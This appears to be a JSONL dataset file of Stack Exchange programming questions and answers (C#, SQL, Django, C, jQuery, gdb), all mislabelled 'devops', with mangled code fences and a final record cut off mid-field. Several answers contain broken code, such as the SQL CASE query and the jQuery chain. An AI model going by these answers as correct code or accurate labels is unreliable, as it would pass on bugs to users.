{"id": "hf_2691c14c22ae", "question": "<p>I have some code which ignores a specific exception.  </p>\n\n<pre><code>try\n{\n    foreach (FileInfo fi in di.GetFiles())\n    {\n        collection.Add(fi.Name);\n    }\n    foreach (DirectoryInfo d in di.GetDirectories())\n    {\n        populateItems(collection, d);\n    }\n}\ncatch (UnauthorizedAccessException ex)\n{\n   //ignore and move onto next directory\n}\n</code></pre>\n\n<p>of course this results in a compile time warning as ex is unused.  Is there some standard accept noop which should be used to remove this warning?  </p>\n", "question_body": "", "answer": "Just rewrite it as\n```\n```\ncatch (UnauthorizedAccessException) {}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.017361"}
{"id": "hf_b3d41dde928a", "question": "<p>What's the best way to pass data from one Windows Forms app (an office plugin) to another (exe written in C#) in C#? </p>\n", "question_body": "", "answer": "WCF\nis one of the easiest ways to do this. You can register a service endpoint in each app, or if one is the service and another is the client you can just use a single service host.\nCheck out the getting started tutorials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.066039"}
{"id": "hf_af48de60ef89", "question": "<p>Suppose I have a table with a numeric column (lets call it \"score\").</p>\n\n<p>I'd like to generate a table of counts, that shows how many times scores appeared in each range.</p>\n\n<p>For example:</p>\n\n<pre>\nscore range  | number of occurrences\n-------------------------------------\n   0-9       |        11\n  10-19      |        14\n  20-29      |         3\n   ...       |       ...\n</pre>\n\n<p>In this example there were 11 rows with scores in the range of 0 to 9, 14 rows with scores in the range of 10 to 19, and 3 rows with scores in the range 20-29.</p>\n\n<p>Is there an easy way to set this up?  What do you recommend?</p>\n", "question_body": "", "answer": "```\n```\ncreate table scores (\n   user_id int,\n   score int\n)\n\nselect t.range as [score range], count(*) as [number of occurences]\nfrom (\n      select user_id,\n         case when score >= 0 and score < 10 then '0-9'\n         case when score >= 10 and score < 20 then '10-19'\n         ...\n         else '90-99' as range\n     from scores) t\ngroup by t.range\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.099829"}
{"id": "hf_4cbce2c104d9", "question": "<p>I have a two way foreign relation similar to the following</p>\n\n<pre><code>class Parent(models.Model):\n  name = models.CharField(max_length=255)\n  favoritechild = models.ForeignKey(\"Child\", blank=True, null=True)\n\nclass Child(models.Model):\n  name = models.CharField(max_length=255)\n  myparent = models.ForeignKey(Parent)\n</code></pre>\n\n<p>How do I restrict the choices for Parent.favoritechild to only children whose parent is itself?  I tried</p>\n\n<pre><code>class Parent(models.Model):\n  name = models.CharField(max_length=255)\n  favoritechild = models.ForeignKey(\"Child\", blank=True, null=True, limit_choices_to = {\"myparent\": \"self\"})\n</code></pre>\n\n<p>but that causes the admin interface to not list any children.</p>\n", "question_body": "", "answer": "This isn't how django works. You would only create the relation going one way.\n```\n```\nclass Parent(models.Model):\n  name = models.CharField(max_length=255)\n\nclass Child(models.Model):\n  name = models.CharField(max_length=255)\n  myparent = models.ForeignKey(Parent)\n```\n```\nAnd if you were trying to access the children from the parent you would do\n```\nparent_object.child_set.all()\n```\n. If you set a related_name in the myparent field, then that is what you would refer to it as. Ex:\n```\nrelated_name='children'\n```\n, then you would do\n```\nparent_object.children.all()\n```\nRead the\ndocs\nhttp://docs.djangoproject.com/en/dev/topics/db/models/#many-to-one-relationships\nfor more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.134770"}
{"id": "hf_d78aeaddccf4", "question": "<p>I wanted to see if folks were using decimal for financial applications instead of double.  I have seen lots of folks using double all over the place with unintended consequences . .</p>\n\n<p>Do you see others making this mistake . . .</p>\n", "question_body": "", "answer": "We did unfortunately and we regret it. We had to change all doubles to decimals. Decimals are good for financial applications. You can look at this article\nA Money type for the CLR\n:\nA convenient, high-performance money\n  structure for the CLR which handles\n  arithmetic operations, currency types,\n  formatting, and careful distribution\n  and rounding without loss.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.170032"}
{"id": "hf_1121a1ee47ae", "question": "<p>In C and C++ what do the following declarations do?</p>\n\n<pre><code>const int * i;\nint * const i;\nconst volatile int ip;\nconst int *i;\n</code></pre>\n\n<p>Are any of the above declarations wrong?</p>\n\n<p>If not what is the meaning and differences between them?</p>\n\n<p>What are the useful uses of above declarations (I mean in which situation we have to use them in C/C++/embedded C)?</p>\n", "question_body": "", "answer": "```\nconst int * i;\n```\n```\ni\n```\nis a pointer to constant integer.\n```\ni\n```\ncan be changed to point to a different value, but the value being pointed to by\n```\ni\n```\ncan not be changed.\n```\nint * const i;\n```\n```\ni\n```\nis a constant pointer to a non-constant integer.  The value pointed to by\n```\ni\n```\ncan be changed, but\n```\ni\n```\ncannot be changed to point to a different value.\n```\nconst volatile int ip;\n```\nThis one is kind of tricky.  The fact that\n```\nip\n```\nis\n```\nconst\n```\nmeans that the compiler will not let you change the value of\n```\nip\n```\n.  However, it could still be modified in theory, e.g. by taking its address and using the\n```\nconst_cast\n```\noperator.  This is very dangerous and not a good idea, but it is allowed.  The\n```\nvolatile\n```\nqualifier indicates that any time\n```\nip\n```\nis accessed, it should always be reloaded from memory, i.e. it should NOT be cached in a register.  This prevents the compiler from making certain optimizations.  You want to use the\n```\nvolatile\n```\nqualifier when you have a variable which might be modified by another thread, or if you're using memory-mapped I/O, or other similar situations which could cause behavior the compiler might not be expecting.  Using\n```\nconst\n```\nand\n```\nvolatile\n```\non the same variable is rather unusual (but legal) -- you'll usually see one but not the other.\n```\nconst int *i;\n```\nThis is the same as the first declaration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.193937"}
{"id": "hf_a25d82b81e79", "question": "<p>I need to add unit testing to some old scripts, the scripts are all basically in the following form:</p>\n\n<pre><code>#!/usr/bin/perl\n\n# Main code\nfoo();\nbar();\n\n# subs\nsub foo {\n\n}\nsub bar {\n\n}\n</code></pre>\n\n<p>If I try to 'require' this code in a unit test, the main section of the code will run, where as I want to be able to just test \"foo\" in isolation.</p>\n\n<p>Is there any way to do this without moving foo,bar into a seperate .pm file?</p>\n", "question_body": "", "answer": "Assuming you have no security concerns, wrap it in a sub { ... } and eval it:\n```\n```\nuse File::Slurp \"read_file\";\neval \"package Script; sub {\" . read_file(\"script\") . \"}\";\n\nis(Script::foo(), \"foo\");\n```\n```\n(taking care that the eval isn't in scope of any lexicals that would be closed over by the script).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.219681"}
{"id": "hf_dcce6869c1a2", "question": "<p>I have a WCF service up and running and am able to communicate between the service and a .Net 2.0 Client using basicHttpBinding.  </p>\n\n<p>I now need to lock down the WCF service so that it can only be called by authenticated clients.</p>\n\n<p>I have control over the clients that will be calling my service. The clients are part of a product that will be installed in the wild and \"phoning home\" to push and pull data.  The client app is written for .Net 2.0 framework and cannot be upgraded to 3.0 or 3.5 at this time.  I cannot add windows user accounts to the client machines.</p>\n\n<p>What are my options for securing the WCF Service and being able to authenticate from my .Net 2.0 clients?  Also, data needs to be passed over https.</p>\n\n<p>I've been searching the web, and feel like I'm on a wild goose chase.</p>\n", "question_body": "", "answer": "Using SSL certificate is the only option for .NET 2.0 client accessing WCF service as basicHttpBinding provides no security. By using SSL, you are securing the whole transport channel.\nCheck the link\nhttp://www.codeplex.com/WCFSecurityGuide/Release/ProjectReleases.aspx?ReleaseId=15892\n. It covers WCF Security covering all scenarios.\nTo get free SSL certificate please visit\nhttp://www.comodo.com/\nor\nhttp://www.instantssl.com/\nand try out in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.268061"}
{"id": "hf_67c6124f9383", "question": "<p>What tips and \"standards\" do you use in your Redmine project management process?</p>\n\n<p>Do you have a standard wiki insert template you could share or a standard way to work a project using bugs features tasks and support issues?</p>\n\n<p>Do you let issues and updates get emailed into Redmine? \nDo you use the forums?\nDo you use SVN repository?\nDo you use Mylyn in eclipse to work the task lists?</p>\n\n<p>I'm trying to drag our dept. into some web based PM instead of emailed Word docs of vague requirements followed by Word docs explaining how to QA and Deploy that all get lost in a pile of competing updates and projects so that by the time I have to fix something, no one can find any documentation on how it works.</p>\n", "question_body": "", "answer": "We are using the Roadmap section as a clear way to display:\nbugs\nfeatures (that would be references to your word document, or link to html requirement pages)\nreconciliations (differences between production values and test values)\nand so on...\nThat is the main point of consolidation for us. The rest is used in relation with that (for instance, the 'announce' section is used to define the main milestone/release dates used in the roadmap)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.292059"}
{"id": "hf_a67e4f15a64c", "question": "<p>I'm a rookie designer having a few troubles with this page: <a href=\"http://www.resolvegroup.co.nz/javasurvey.php\" rel=\"nofollow noreferrer\">http://www.resolvegroup.co.nz/javasurvey.php</a></p>\n\n<p>There are problems with the javascript operation of the expanded questions. For Internet Explorer (Version 7) the first question when expanded gets partly hidden under question 2. This happens to varying degrees with all questions, at times making the next question completely hidden and other problems.</p>\n\n<p>Firefox (Version 3.03) does not have the problem as above, but you cannot get access to the explanations or select next question as in IE7.</p>\n\n<p>Does anyone know what's going on with this, and how to fix it?</p>\n", "question_body": "", "answer": "I'd recommend looking at using a pre-built Accordion script, like that built into the jQuery UI library:\nhttp://docs.jquery.com/UI/Accordion\nAlso, there's a few things I could suggest. This code of yours:\n```\n```\n$(\".score-list\").slideUp(speed);\n$(\".score-list\").removeClass(\"open\");\n$(\"a.open-answer\").removeClass(\"hidden\");\n$(this).parent().children(\".score-list\").slideDown(speed);\n$(this).parent().children(\".score-list\").toggleClass(\"open\");\n$(this).toggleClass(\"hidden\");\n```\n```\ncould be made a lot more efficient by storing the results from a jQuery query, as well as taking advantage of jQuery's chaining abilities: quite a lot of jQuery's functions return the jQuery object itself, which means you can call a number of functions in a row without having to reference the object again and again. Here's what I mean:\n```\n```\n$(\".score-list\")        // my own preference is to split the calls onto\n    .slideUp(speed)     // multiple lines to make it easier to read.\n    .removeClass(\"open\")\n;\n$(\"a.open-answer\").removeClass(\"hidden\");\n\nvar $this = $(this);    // store the result from a query in an object so you\n                        // don't have to go through that again.\n$this\n    .parent()\n    .children(\".score-list\")\n    .slideDown(speed);\n    .toggleClass(\"open\")\n;\n$this.toggleClass(\"hidden\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.317223"}
{"id": "hf_ec675194970e", "question": "<p>I am currently using a dotted border for certain UI stuff such as instructions, notes, error boxes, etc.</p>\n\n<p>But recently I changed to a solid border, due to a requirement, but I just find it kind of strange.</p>\n\n<p>It seems that by making it solid it puts too much emphasis on page elements which are just informational.</p>\n\n<p>What are your views?</p>\n", "question_body": "", "answer": "This is a difficult question because it is very subjective.  Many newer websites these days (Stack Overflow included) fore go the border completely and use a more subtle background color difference between the main body color for accented content sections like you mentioned (instructions, notes, etc.).  When I see dotted lines, I intrinsically relate them to abbreviations or acronyms like this:\n```\n```\n<abbr style=\"border-bottom:1px dotted #000;cursor:help;\">\n    <span style=\"cursor:help;\" title=\"Cascading Style Sheets\">CSS</span>\n</abbr>\n```\n```\nTherefore I would recommend staying away from dotted borders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.341626"}
{"id": "hf_2312ce2c77b1", "question": "<p>How does one go about creating a virtual CD driver on Mac OS X programatically? </p>\n\n<p>I can't find any relevant Cocoa APIs or any pure C BSD solutions. </p>\n\n<p>Any help or information is appreciated.</p>\n", "question_body": "", "answer": "If you're simply looking to mount an ISO or something then it's done through the Disk Utility, simply drag it into the side-bar and then select it and choose mount.\nIf you want to do it from code you can issue the hdiutil command, as shown\nhere\n. I'm not sure if there's an API call to do it, but getting that command to do the work is quite painless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.390181"}
{"id": "hf_82c170c665a9", "question": "<p>What's the best way to call a generic method when the type parameter isn't known at compile time, but instead is obtained dynamically at runtime?</p>\n\n<p>Consider the following sample code - inside the <code>Example()</code> method, what's the most concise way to invoke <code>GenericMethod&lt;T&gt;()</code> using the <code>Type</code> stored in the <code>myType</code> variable?</p>\n\n<pre><code>public class Sample\n{\n    public void Example(string typeName)\n    {\n        Type myType = FindType(typeName);\n\n        // What goes here to call GenericMethod&lt;T&gt;()?\n        GenericMethod&lt;myType&gt;(); // This doesn't work\n\n        // What changes to call StaticMethod&lt;T&gt;()?\n        Sample.StaticMethod&lt;myType&gt;(); // This also doesn't work\n    }\n\n    public void GenericMethod&lt;T&gt;()\n    {\n        // ...\n    }\n\n    public static void StaticMethod&lt;T&gt;()\n    {\n        //...\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "You need to use reflection to get the method to start with, then \"construct\" it by supplying type arguments with\nMakeGenericMethod\n:\n```\n```\nMethodInfo method = typeof(Sample).GetMethod(nameof(Sample.GenericMethod));\nMethodInfo generic = method.MakeGenericMethod(myType);\ngeneric.Invoke(this, null);\n```\n```\nFor a static method, pass\n```\nnull\n```\nas the first argument to\n```\nInvoke\n```\n. That's nothing to do with generic methods - it's just normal reflection.\nAs noted, a lot of this is simpler as of C# 4 using\n```\ndynamic\n```\n- if you can use type inference, of course. It doesn't help in cases where type inference isn't available, such as the exact example in the question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.413604"}
{"id": "hf_aa2aed33f0e2", "question": "<p>Say I have a rectangular string array - not a jagged array</p>\n\n<pre><code>string[,] strings = new string[8, 3];\n</code></pre>\n\n<p>What's the best way to extract a one-dimensional array from this (either a single row or a single column)?  I can do this with a for loop, of course, but I'm hoping .NET has a more elegant way built in.</p>\n\n<p>Bonus points for converting the extracted string array to an object array.</p>\n", "question_body": "", "answer": "LINQ is the answer\n```\n```\nstatic object[] GetColumn(string[][] source, int col) {\n    return source.Iterate().Select(x => source[x.Index][col]).Cast<object>().ToArray();\n}\nstatic object[] GetRow(string[][] source, int row) {\n    return source.Skip(row).First().Cast<object>().ToArray();\n}\npublic class Pair<T> {\n    public int Index;\n    public T Value;\n    public Pair(int i, T v) {\n        Index = i;\n        Value = v;\n    }\n}\nstatic IEnumerable<Pair<T>> Iterate<T>(this IEnumerable<T> source) {\n    int index = 0;\n    foreach (var cur in source) {\n        yield return new Pair<T>(index, cur);\n        index++;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.436748"}
{"id": "hf_cf34d794b4c1", "question": "<p>I noticed that the generic <code>IEnumerator&lt;T&gt;</code> inherits from IDisposable, but the non-generic interface IEnumerator does not. Why is it designed in this way?</p>\n\n<p>Usually, we use foreach statement to go through a <code>IEnumerator&lt;T&gt;</code> instance. The generated code of foreach actually has try-finally block that invokes Dispose() in finally. </p>\n", "question_body": "", "answer": "IIRC The whole thing about having\n```\nIEnumerable<T>\n```\nand\n```\nIEnumerable\n```\nis a result of\n```\nIEnumerable\n```\npredating .Net's template stuff. I suspect that your question is in the same way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.479450"}
{"id": "hf_8d94c1179f24", "question": "<p>How do I check if a column exists in SQL Server 2000?</p>\n", "question_body": "", "answer": "```\n```\nIF EXISTS ( SELECT * FROM INFORMATION_SCHEMA.COLUMNS\nWHERE  TABLE_NAME='tablename' AND COLUMN_NAME='columname' )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.520073"}
{"id": "hf_f47de728b10f", "question": "<p>For e.g. if i am storing some files on a network server which is under many hierarchical folders.</p>\n\n<p>Then i want to do backup. But i always encounter issue because the file path is more than 255?</p>\n\n<p>How can i resolve this issue or work around it?</p>\n", "question_body": "", "answer": "Maybe upgrade to an Operating System that's been updated in the last decade or so? Seriously, though - what OS and file system are you using? Even FAT32 supports long path and file names, though any single component of the path is limited to 255 characters.\nIf you've got directories with more than 255 characters in their name, then that's problematic (and a little weird). To work around that issue, you could consider using an archiving utility (tar or zip) run on the server, then ship the archive over to yuor desktop machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.544685"}
{"id": "hf_10e6d95f8588", "question": "<p>What is the best way to design a user login mechanism using Java? What are the best practices to be followed to architect a secure and robust login mechanism? </p>\n\n<p>What is the difference between JAAS, JNDI and GSSAPI? How do you decide which one to choose?</p>\n", "question_body": "", "answer": "It depends on your user referential.\nYou need to be able to connect your login java module with that base. it is is LDAP, you might consider framework like\nOpenLDAP\n.\nPlus you have to consider what is include in your \"login\" perimeter: It is is an \"habilitation\" login process, you need to have more that just the user name, but also other parameters helping your java module to grant him access (its group, which might be in LDAP, but also the kind of action he wants to make, in order to check if he has the required accreditation level)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.569014"}
{"id": "hf_23a6d1961734", "question": "<p>Do you all add revision fixed to your custom fields?</p>\n\n<p>And what is the point of have <code>Work Start</code>? I thought <code>resolve issue</code> is good enough?</p>\n", "question_body": "", "answer": "We use revision fixed. Makes producing change logs etc much easier.\nNever used the work tracking at all. Always just seems like too much hassle, and the teams we've been on we haven't needed to track it that closely. It's different than resolving an issue - that just marks that something is complete. Work start tracks how much time was spent, and if someone is still looking at it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.593505"}
{"id": "hf_e98e71e7b3da", "question": "<p>Let say I run this command:</p>\n\n<pre><code>makecert testcert.cer\n</code></pre>\n\n<p>Is a private key created? If so, where is it automatically stored in the system even though I did not tell makecert to install this certificate in any certificate store?</p>\n", "question_body": "", "answer": "It looks like the private key is stored in the file itself.  From the documentation at\nhttp://msdn.microsoft.com/en-us/library/bfsktky3(VS.80).aspx\nit states...\nCaution\nYou should use a certificate store to securely store your certificates. The .snk files used by this tool store private keys in an unprotected manner. When you create or import a .snk file, you should be careful to secure it during use and remove it when you are done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.617565"}
{"id": "hf_525ee2a0b056", "question": "<p>I'm building a webpage that queries a MySQL database and (currently) produces a text-only list of the findings. The queries to complete a single record are similar to:</p>\n\n<ul>\n<li>movie (title, description, etc)\n\n<ul>\n<li>actors in the movie (name, gender)</li>\n<li>related movies</li>\n</ul></li>\n</ul>\n\n<p>Out of curiosity I've used <code>memory_get_peak_usage()</code> and <code>memory_get_usage()</code>:</p>\n\n<pre>\nstart   110,440 bytes\npeak    656,056 bytes\nend 637,976 bytes\ntime    0.008 seconds\n</pre>\n\n<p>The above is with no records found!</p>\n\n<p>With 40 records I'm reaching approximately 2MB, though the time remains the same.</p>\n\n<p>I know that premature optimization is evil and all, but I have to ask: </p>\n\n<p>Do I need to do some reworking? Is this memory usage normal? What is considered excessive?</p>\n", "question_body": "", "answer": "Ultimately it's preferable to optimize when convenient of course, but 2MB of memory use sounds fine. PHP4 has a default config of 8mb, and PHP5 16mb. A lot of pre-packaged PHP builds will have different configs, of course, but generally speaking, if you can keep your app under 8mb, you can be sure it'll be highly portable in that regard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.644597"}
{"id": "hf_7ddccd925268", "question": "<p>How to invoke the default browser with an URL from C#?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Diagnostics.Process.Start(\"http://mysite.com\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.679598"}
{"id": "hf_37e2a48208b1", "question": "<p>I need to create reports in a C# .NET Windows app. I've got an SQL Server 2005 .I want to display  two more field to report(not available in data base table. I want to create these field by adding some data from existing field of data base table)</p>\n", "question_body": "", "answer": "If you look at the .NET API exposed by Crystal Reports, you'll find that you can inject a DataSet into a report - this gives your application full control over the data used by the report, leveraging Crystal Reports as a presentation engine.\nI've used this technique to generate reports over data soures not natively supported by Crystal Reports - it also helps to ensure that all the data comes from the sames source (as the API for changing the connection used within a normal Crystal report is somewhat flakey).\nSo, what I'd do in your situation is to load all the required data into a DataSet, add the extra columns, and then pass the dataset into the report. Only complex bit is that you need to save out the XML schema of the dataset and import it into Crystal Reports so that it is aware of the shape of your data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.702713"}
{"id": "hf_83d9cb1d8c11", "question": "<p>Could you tell me, please, if it's possible to preview (or at least retroview, for example, in a kind of a log file) SQL commands which SQL Server Management Studio Express is about to execute (or has just executed)?</p>\n\n<p>In the past I used Embarcadero DBArtisan which shows SQL queries to be executed before actually running them on the server, so I am eager for this feature in Management Studio.</p>\n\n<p>I have found an option \"Auto generate change scripts\", but it shows only DDL SQL queries\n(structure change), not data change.</p>\n", "question_body": "", "answer": "You can use Query Profiler (from SQL) to view the queries and in your SQL Query embed in a transaction and at the end do a rollback.\n```\n```\nBEGIN TRAN\n\n INSERT INTO Clients \n SELECT 'Bruno', 'Alexandre';\n\nEND\n\nROLLBACK TRAN\n```\n```\nwhen you rollback a transaction the process will go back to the begining of the BEGIN TRAN and you can be sure that nothing was made, this is the way to commit queries and to safe rollback if the SQL encounter an error...\nlike:\n```\n```\nIF @@ERROR > 0 GOTO Error\n\n:Error\nROLLBACK TRANSACTION\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.748444"}
{"id": "hf_f90788a1c215", "question": "<p>Can any body tell me the differences between them?</p>\n", "question_body": "", "answer": "Basically, there isn't one.  Embedded refers to the hosting computer / microcontroller, not the language.  The embeddded system might have fewer resources and interfaces for the programmer to play with, and hence C will be used differently, but it is still the same ISO defined language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.811157"}
{"id": "hf_eb0804571f82", "question": "<p>Is it OK (or even recommended/good practice) to <code>#include</code> a <code>.c</code> file in another <code>.c</code> file?</p>\n", "question_body": "", "answer": "No.\nDepending on your build environment (you don't specify), you may find that it works in exactly the way that you want.\nHowever, there are many environments (both IDEs and a lot of hand crafted Makefiles) that expect to compile *.c - if that happens you will probably end up with linker errors due to duplicate symbols.\nAs a rule this practice should be avoided.\nIf you absolutely must #include source (and generally it should be avoided), use a different file suffix for the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.872898"}
{"id": "hf_dbd9fdfdb172", "question": "<p>When querying ntp servers with the command <strong>ntpdate</strong>, I can use the <strong>-u</strong> argument to make the source port an unrestricted port (port 1024 and above).</p>\n\n<p>With ntpd, which is meant to run in the background, I can't seem to find a way to turn this option on. So the source port is always 123.  It's playing around horribly with my firewall configuration.</p>\n\n<p>Is there a configuration option in <strong>ntp.conf</strong> to make it use a random source port?</p>\n", "question_body": "", "answer": "Doesn't sound look this is possible...see the\nntp troubleshooting page\n:\nIf you're going to run ntpd, you need to fix your network/firewall/NAT so that ntpd can have full unrestricted access to UDP port 123 in both directions.\nIf this is not possible, you may need to run ntpd on the firewall itself, so that it can have full unrestricted access to UDP port 123 in both directions, and then have it serve time to your internal clients.\nIf that's not possible, your only other option may be to buy the necessary hardware to connect to one or more of your own computers and run your own Stratum 1 time server or buy a pre-packaged Stratum 1 time server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.896131"}
{"id": "hf_efb293e16f75", "question": "<p>How do I convert a string to DateTime format? For example, if I had a string like:</p>\n\n<p><code>\"24/10/2008\"</code></p>\n\n<p>How do I get that into DateTime format ?</p>\n", "question_body": "", "answer": "Use\nDateTime.ParseExact\n:\n```\n```\nstring str = \"24/10/2008\";\nDateTime dt = DateTime.ParseExact(str, \"dd/MM/yyyy\", \n                                  Thread.CurrentThread.CurrentCulture);\n```\n```\n(You should consider what culture you actually want to parse it in, admittedly.)\nEDIT: Other answers have specified \"null\" as the third parameter - this is equivalent to using\n```\nThread.CurrentThread.CurrentCulture\n```\n.\nFor other formats, see\n\"Custom Date and Time Format Strings\"\nin MSDN.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:01.919539"}
{"id": "hf_8a37e126a3cc", "question": "<p>Sometimes gdb prints \"incomplete type\" for some type of variables. What does this mean and how can we see that value?</p>\n", "question_body": "", "answer": "It means that the type of that variable has been incompletely specified. For example:\n```\n```\nstruct hatstand;\nstruct hatstand *foo;\n```\n```\nGDB knows that\n```\nfoo\n```\nis a pointer to a\n```\nhatstand\n```\nstructure, but the members of that structure haven't been defined. Hence, \"incomplete type\".\nTo print the value, you can cast it to a compatible type.\nFor example, if you know that\n```\nfoo\n```\nis really a pointer to a\n```\nlampshade\n```\nstructure:\n```\n```\nprint (struct lampshade *)foo\n```\n```\nOr, you could print it as a generic pointer, or treat it as if it were an integer:\n```\n```\nprint (void *)foo\nprint (int)foo\n```\n```\nSee also these pages from the GDB manual:\nhttp://sourceware.org/gdb/current/onlinedocs/gdb/Data.html#Data\nhttp://sourceware.org/gdb/current/onlinedocs/gdb/Symbols.html#Symbols", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": 